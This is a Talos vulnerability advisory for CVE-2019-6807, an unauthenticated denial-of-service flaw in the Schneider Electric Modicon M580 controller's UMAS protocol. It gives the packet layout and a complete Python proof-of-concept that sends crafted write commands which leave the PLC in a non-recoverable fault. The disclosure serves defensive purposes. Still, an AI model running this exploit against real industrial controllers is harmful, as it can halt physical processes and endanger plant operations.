Talos Vulnerability Report

TALOS-2019-0770

Schneider Electric Modicon M580 UMAS write system bits and blocks denial-of-service vulnerability

June 10, 2019
CVE Number

CVE-2019-6807

Summary

An exploitable denial-of-service vulnerability exists in the UMAS write system bits and blocks functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted set of UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

When two UMAS write system bits and blocks commands are sent, each followed by a read plc info command, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of a malicious write system bits and blocks command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |       D       | E | F |   G   | H |   I   | J | K 
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1                         < K continued >
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code      (0x5a)
B --> Session
C --> UMAS Function Code        (0x23)
D --> CRC
E --> Number of values to read  (0x01)
F --> Data Type                 (0x01)
G --> Block                     (0x0010)
H --> Unknown
I --> Base Offset
J --> Relative Offset
K --> Data

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
import struct

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def getPLCInfo(s, wait_for_response=True):
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x04"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    ret = send_message(s, umas, wait_for_response=wait_for_response)
    return ret

def main():
    rhost = "192.168.10.1"
    rport = 502
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((rhost, rport))

    res = getPLCInfo(s)

    # first write system bits and blocks
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x23"
    crc = struct.unpack("<I", res[14:18])[0]
    shifted_crc = crc << 1
    crc = struct.pack("<I", shifted_crc)
    data = "0101100080000000c080f3a0a70000200000".decode('hex')
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, crc, data)
    send_message(s, umas=umas)

    # get plc info 
    getPLCInfo(s)

    # second write system bits and blocks
    data = "010110000000000000000000000000000000".decode('hex')
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, crc, data)
    send_message(s, umas=umas)

    # get plc info 
    getPLCInfo(s, wait_for_response=False)

    # clean up
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos